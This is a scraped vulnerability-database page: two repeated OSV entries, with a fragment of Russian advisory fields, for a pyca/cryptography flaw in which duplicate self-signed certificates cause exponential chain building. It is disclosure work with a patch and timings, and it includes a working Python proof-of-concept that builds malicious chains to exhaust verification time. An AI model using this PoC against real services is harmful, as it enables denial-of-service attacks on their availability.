"\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww\nhttps://github.com/pyca/cryptography/pull/14960\nhttps://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582\nhttps://github.com/pyca/cryptography/tags",
"\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
"\u0422\u0438\u043f \u041f\u041e": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
"\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-400",
"\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,8)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,5)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 4.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8,7)"
}
brew-ansible@10-cve-2026-69249
Vulnerability from osv_homebrew
Summary
When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.
This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.
Details
The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.
fn build_chain_inner(
&self,
working_cert: &VerificationCertificate<'chain, B>,
current_depth: u8,
working_cert_extensions: &Extensions<'chain>,
name_chain: NameChain<'_, 'chain>,
budget: &mut Budget,
) -> ValidationResult<'chain, Chain<'chain, B>, B> {
if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
name_chain.evaluate_constraints(&nc.value()?, budget)?;
}
// Look in the store's root set to see if the working cert is listed.
// If it is, we've reached the end.
if self.store.contains(working_cert) {
return Ok(vec![working_cert.clone()]);
}
// Check that our current depth does not exceed our policy-configured
// max depth. We do this after the root set check, since the depth
// only measures the intermediate chain's length, not the root or leaf.
if current_depth > self.policy.max_chain_depth {
return Err(ValidationError::new(ValidationErrorKind::Other(
"chain construction exceeds max depth".into(),
)));
}
// Otherwise, we collect a list of potential issuers for this cert,
// and continue with the first that verifies.
let mut last_err: Option<ValidationError<'_, B>> = None;
for issuing_cert_candidate in self.potential_issuers(working_cert) {
// A candidate issuer is said to verify if it both
// signs for the working certificate and conforms to the
// policy.
let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
match self.policy.valid_issuer(
issuing_cert_candidate,
working_cert,
current_depth,
&issuer_extensions,
) {
Ok(_) => {
match self.build_chain_inner(
A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.
let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
for issuing_cert_candidate in self.potential_issuers(working_cert) {
. . .
Ok(_) => {
if seen_valid_issuers.contains(&issuing_cert_candidate) {
continue;
}
seen_valid_issuers.push(issuing_cert_candidate);
match self.build_chain_inner(
issuing_cert_candidate,
// NOTE(ww): According to RFC 5280, we should only
In testing, this fix removed the exponential blowup without breaking apparent correctness.
duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s, -> 4,8,rejected,0.002410
5,7,timeout>5s, -> 5,7,rejected,0.002640
6,6,timeout>5s, -> 6,6,rejected,0.002829
PoC
The following script benchmarks processing times for malicious cert chains.
import datetime
import multiprocessing
import time
import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
DNSName,
PolicyBuilder,
Store,
VerificationError,
)
NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=False,
crl_sign=False,
encipher_only=False,
decipher_only=False,
)
def name(common_name):
return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])
def base_builder(subject, issuer, public_key, serial):
return (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(public_key)
.serial_number(serial)
.not_valid_before(NOW - datetime.timedelta(days=1))
.not_valid_after(NOW + datetime.timedelta(days=30))
)
def make_ca(common_name, serial):
private_key = ec.generate_private_key(ec.SECP256R1())
subject = name(common_name)
cert = (
base_builder(subject, subject, private_key.public_key(), serial)
.add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
.add_extension(CA_KEY_USAGE, True)
.add_extension(
x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
False,
)
.sign(private_key, hashes.SHA256())
)
return private_key, cert
def make_leaf(issuer_key, issuer_cert):
private_key = ec.generate_private_key(ec.SECP256R1())
return (
base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
.add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
.add_extension(EE_KEY_USAGE, True)
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
False,
)
.add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
.sign(issuer_key, hashes.SHA256())
)
def build_material():
looping_key, looping_ca = make_ca("looping self-signed CA", 1)
_, unrelated_root = make_ca("unrelated trust anchor", 2)
leaf = make_leaf(looping_key, looping_ca)
return leaf, looping_ca, unrelated_root
def verify_case(duplicates, max_depth, queue):
leaf, looping_ca, unrelated_root = build_material()
verifier = (
PolicyBuilder()
.store(Store([unrelated_root]))
.time(NOW)
.max_chain_depth(max_depth)
.build_server_verifier(DNSName("example.com"))
)
start = time.perf_counter()
try:
verifier.verify(leaf, [looping_ca] * duplicates)
result = "accepted"
except VerificationError:
result = "rejected"
queue.put((result, time.perf_counter() - start))
def run_case(duplicates, max_depth):
queue = multiprocessing.Queue()
process = multiprocessing.Process(
target=verify_case,
args=(duplicates, max_depth, queue),
)
process.start()
process.join(TIMEOUT)
if process.is_alive():
process.terminate()
process.join()
print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
return
result, elapsed = queue.get()
print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")
if __name__ == "__main__":
print("duplicates,max_depth,result,seconds")
for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
run_case(*case)
Impact
This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.
| URL | Type | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "cryptography",
"resource_purl": "pkg:pypi/cryptography@46.0.3",
"upstream_fixed_in": "49.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible@10",
"purl": "pkg:brew/ansible%4010"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/cryptography@46.0.3",
"name": "cryptography",
"resource": "cryptography",
"strategy": "registry",
"subject_version": "46.0.3"
}
]
},
"details": "### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n fn build_chain_inner(\n \u0026self,\n working_cert: \u0026VerificationCertificate\u003c\u0027chain, B\u003e,\n current_depth: u8,\n working_cert_extensions: \u0026Extensions\u003c\u0027chain\u003e,\n name_chain: NameChain\u003c\u0027_, \u0027chain\u003e,\n budget: \u0026mut Budget,\n ) -\u003e ValidationResult\u003c\u0027chain, Chain\u003c\u0027chain, B\u003e, B\u003e {\n if let Some(nc) = working_cert_extensions.get_extension(\u0026NAME_CONSTRAINTS_OID) {\n name_chain.evaluate_constraints(\u0026nc.value()?, budget)?;\n }\n\n // Look in the store\u0027s root set to see if the working cert is listed.\n // If it is, we\u0027ve reached the end.\n if self.store.contains(working_cert) {\n return Ok(vec![working_cert.clone()]);\n }\n\n // Check that our current depth does not exceed our policy-configured\n // max depth. We do this after the root set check, since the depth\n // only measures the intermediate chain\u0027s length, not the root or leaf.\n if current_depth \u003e self.policy.max_chain_depth {\n return Err(ValidationError::new(ValidationErrorKind::Other(\n \"chain construction exceeds max depth\".into(),\n )));\n }\n\n // Otherwise, we collect a list of potential issuers for this cert,\n // and continue with the first that verifies.\n let mut last_err: Option\u003cValidationError\u003c\u0027_, B\u003e\u003e = None;\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n // A candidate issuer is said to verify if it both\n // signs for the working certificate and conforms to the\n // policy.\n let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n match self.policy.valid_issuer(\n issuing_cert_candidate,\n working_cert,\n current_depth,\n \u0026issuer_extensions,\n ) {\n Ok(_) =\u003e {\n match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n let mut seen_valid_issuers = Vec::\u003c\u0026VerificationCertificate\u003c\u0027chain, B\u003e\u003e::new();\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n . . .\n Ok(_) =\u003e {\n if seen_valid_issuers.contains(\u0026issuing_cert_candidate) {\n continue;\n }\n seen_valid_issuers.push(issuing_cert_candidate);\n \n match self.build_chain_inner(\n issuing_cert_candidate,\n // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -\u003e 1,7,rejected,0.000667\n2,7,rejected,0.025154 -\u003e 2,7,rejected,0.001229\n3,7,rejected,0.489924 -\u003e 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -\u003e 4,7,rejected,0.002144\n3,8,rejected,1.468193 -\u003e 3,8,rejected,0.001811\n4,8,timeout\u003e5s, -\u003e 4,8,rejected,0.002410\n5,7,timeout\u003e5s, -\u003e 5,7,rejected,0.002640\n6,6,timeout\u003e5s, -\u003e 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n DNSName,\n PolicyBuilder,\n Store,\n VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=True,\n crl_sign=True,\n encipher_only=False,\n decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=False,\n crl_sign=False,\n encipher_only=False,\n decipher_only=False,\n)\n\ndef name(common_name):\n return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n return (\n x509.CertificateBuilder()\n .subject_name(subject)\n .issuer_name(issuer)\n .public_key(public_key)\n .serial_number(serial)\n .not_valid_before(NOW - datetime.timedelta(days=1))\n .not_valid_after(NOW + datetime.timedelta(days=30))\n )\n\ndef make_ca(common_name, serial):\n private_key = ec.generate_private_key(ec.SECP256R1())\n subject = name(common_name)\n cert = (\n base_builder(subject, subject, private_key.public_key(), serial)\n .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n .add_extension(CA_KEY_USAGE, True)\n .add_extension(\n x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n False,\n )\n .sign(private_key, hashes.SHA256())\n )\n return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n private_key = ec.generate_private_key(ec.SECP256R1())\n return (\n base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n .add_extension(EE_KEY_USAGE, True)\n .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n .add_extension(\n x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n False,\n )\n .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n .sign(issuer_key, hashes.SHA256())\n )\n\ndef build_material():\n looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n leaf = make_leaf(looping_key, looping_ca)\n return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n leaf, looping_ca, unrelated_root = build_material()\n verifier = (\n PolicyBuilder()\n .store(Store([unrelated_root]))\n .time(NOW)\n .max_chain_depth(max_depth)\n .build_server_verifier(DNSName(\"example.com\"))\n )\n\n start = time.perf_counter()\n try:\n verifier.verify(leaf, [looping_ca] * duplicates)\n result = \"accepted\"\n except VerificationError:\n result = \"rejected\"\n queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n queue = multiprocessing.Queue()\n process = multiprocessing.Process(\n target=verify_case,\n args=(duplicates, max_depth, queue),\n )\n process.start()\n process.join(TIMEOUT)\n\n if process.is_alive():\n process.terminate()\n process.join()\n print(f\"{duplicates},{max_depth},timeout\u003e{TIMEOUT}s,\")\n return\n\n result, elapsed = queue.get()\n print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n print(\"duplicates,max_depth,result,seconds\")\n for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.",
"id": "BREW-ansible@10-CVE-2026-69249",
"modified": "2026-09-09T23:41:05Z",
"published": "2026-08-13T16:35:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69249"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/pull/14960"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/commit/3763aa79b"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyca/cryptography"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building",
"upstream": [
"GHSA-jwv3-5hgf-82ww",
"CVE-2026-69249",
"PYSEC-2026-3553"
]
}
brew-ansible@9-cve-2026-69249
Vulnerability from osv_homebrew
Summary
When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.
This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.
Details
The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.
fn build_chain_inner(
&self,
working_cert: &VerificationCertificate<'chain, B>,
current_depth: u8,
working_cert_extensions: &Extensions<'chain>,
name_chain: NameChain<'_, 'chain>,
budget: &mut Budget,
) -> ValidationResult<'chain, Chain<'chain, B>, B> {
if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
name_chain.evaluate_constraints(&nc.value()?, budget)?;
}
// Look in the store's root set to see if the working cert is listed.
// If it is, we've reached the end.
if self.store.contains(working_cert) {
return Ok(vec![working_cert.clone()]);
}
// Check that our current depth does not exceed our policy-configured
// max depth. We do this after the root set check, since the depth
// only measures the intermediate chain's length, not the root or leaf.
if current_depth > self.policy.max_chain_depth {
return Err(ValidationError::new(ValidationErrorKind::Other(
"chain construction exceeds max depth".into(),
)));
}
// Otherwise, we collect a list of potential issuers for this cert,
// and continue with the first that verifies.
let mut last_err: Option<ValidationError<'_, B>> = None;
for issuing_cert_candidate in self.potential_issuers(working_cert) {
// A candidate issuer is said to verify if it both
// signs for the working certificate and conforms to the
// policy.
let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
match self.policy.valid_issuer(
issuing_cert_candidate,
working_cert,
current_depth,
&issuer_extensions,
) {
Ok(_) => {
match self.build_chain_inner(
A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.
let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
for issuing_cert_candidate in self.potential_issuers(working_cert) {
. . .
Ok(_) => {
if seen_valid_issuers.contains(&issuing_cert_candidate) {
continue;
}
seen_valid_issuers.push(issuing_cert_candidate);
match self.build_chain_inner(
issuing_cert_candidate,
// NOTE(ww): According to RFC 5280, we should only
In testing, this fix removed the exponential blowup without breaking apparent correctness.
duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s, -> 4,8,rejected,0.002410
5,7,timeout>5s, -> 5,7,rejected,0.002640
6,6,timeout>5s, -> 6,6,rejected,0.002829
PoC
The following script benchmarks processing times for malicious cert chains.
import datetime
import multiprocessing
import time
import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
DNSName,
PolicyBuilder,
Store,
VerificationError,
)
NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=False,
crl_sign=False,
encipher_only=False,
decipher_only=False,
)
def name(common_name):
return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])
def base_builder(subject, issuer, public_key, serial):
return (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(public_key)
.serial_number(serial)
.not_valid_before(NOW - datetime.timedelta(days=1))
.not_valid_after(NOW + datetime.timedelta(days=30))
)
def make_ca(common_name, serial):
private_key = ec.generate_private_key(ec.SECP256R1())
subject = name(common_name)
cert = (
base_builder(subject, subject, private_key.public_key(), serial)
.add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
.add_extension(CA_KEY_USAGE, True)
.add_extension(
x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
False,
)
.sign(private_key, hashes.SHA256())
)
return private_key, cert
def make_leaf(issuer_key, issuer_cert):
private_key = ec.generate_private_key(ec.SECP256R1())
return (
base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
.add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
.add_extension(EE_KEY_USAGE, True)
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
False,
)
.add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
.sign(issuer_key, hashes.SHA256())
)
def build_material():
looping_key, looping_ca = make_ca("looping self-signed CA", 1)
_, unrelated_root = make_ca("unrelated trust anchor", 2)
leaf = make_leaf(looping_key, looping_ca)
return leaf, looping_ca, unrelated_root
def verify_case(duplicates, max_depth, queue):
leaf, looping_ca, unrelated_root = build_material()
verifier = (
PolicyBuilder()
.store(Store([unrelated_root]))
.time(NOW)
.max_chain_depth(max_depth)
.build_server_verifier(DNSName("example.com"))
)
start = time.perf_counter()
try:
verifier.verify(leaf, [looping_ca] * duplicates)
result = "accepted"
except VerificationError:
result = "rejected"
queue.put((result, time.perf_counter() - start))
def run_case(duplicates, max_depth):
queue = multiprocessing.Queue()
process = multiprocessing.Process(
target=verify_case,
args=(duplicates, max_depth, queue),
)
process.start()
process.join(TIMEOUT)
if process.is_alive():
process.terminate()
process.join()
print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
return
result, elapsed = queue.get()
print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")
if __name__ == "__main__":
print("duplicates,max_depth,result,seconds")
for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
run_case(*case)
Impact
This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.
| URL | Type | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "cryptography",
"resource_purl": "pkg:pypi/cryptography@46.0.3",
"upstream_fixed_in": "49.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible@9",
"purl": "pkg:brew/ansible%409"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/cryptography@46.0.3",
"name": "cryptography",
"resource": "cryptography",
"strategy": "registry",
"subject_version": "46.0.3"
}
]
},
"details": "### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n fn build_chain_inner(\n \u0026self,\n working_cert: \u0026VerificationCertificate\u003c\u0027chain, B\u003e,\n current_depth: u8,\n working_cert_extensions: \u0026Extensions\u003c\u0027chain\u003e,\n name_chain: NameChain\u003c\u0027_, \u0027chain\u003e,\n budget: \u0026mut Budget,\n ) -\u003e ValidationResult\u003c\u0027chain, Chain\u003c\u0027chain, B\u003e, B\u003e {\n if let Some(nc) = working_cert_extensions.get_extension(\u0026NAME_CONSTRAINTS_OID) {\n name_chain.evaluate_constraints(\u0026nc.value()?, budget)?;\n }\n\n // Look in the store\u0027s root set to see if the working cert is listed.\n // If it is, we\u0027ve reached the end.\n if self.store.contains(working_cert) {\n return Ok(vec![working_cert.clone()]);\n }\n\n // Check that our current depth does not exceed our policy-configured\n // max depth. We do this after the root set check, since the depth\n // only measures the intermediate chain\u0027s length, not the root or leaf.\n if current_depth \u003e self.policy.max_chain_depth {\n return Err(ValidationError::new(ValidationErrorKind::Other(\n \"chain construction exceeds max depth\".into(),\n )));\n }\n\n // Otherwise, we collect a list of potential issuers for this cert,\n // and continue with the first that verifies.\n let mut last_err: Option\u003cValidationError\u003c\u0027_, B\u003e\u003e = None;\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n // A candidate issuer is said to verify if it both\n // signs for the working certificate and conforms to the\n // policy.\n let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n match self.policy.valid_issuer(\n issuing_cert_candidate,\n working_cert,\n current_depth,\n \u0026issuer_extensions,\n ) {\n Ok(_) =\u003e {\n match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n let mut seen_valid_issuers = Vec::\u003c\u0026VerificationCertificate\u003c\u0027chain, B\u003e\u003e::new();\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n . . .\n Ok(_) =\u003e {\n if seen_valid_issuers.contains(\u0026issuing_cert_candidate) {\n continue;\n }\n seen_valid_issuers.push(issuing_cert_candidate);\n \n match self.build_chain_inner(\n issuing_cert_candidate,\n // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -\u003e 1,7,rejected,0.000667\n2,7,rejected,0.025154 -\u003e 2,7,rejected,0.001229\n3,7,rejected,0.489924 -\u003e 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -\u003e 4,7,rejected,0.002144\n3,8,rejected,1.468193 -\u003e 3,8,rejected,0.001811\n4,8,timeout\u003e5s, -\u003e 4,8,rejected,0.002410\n5,7,timeout\u003e5s, -\u003e 5,7,rejected,0.002640\n6,6,timeout\u003e5s, -\u003e 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n DNSName,\n PolicyBuilder,\n Store,\n VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n 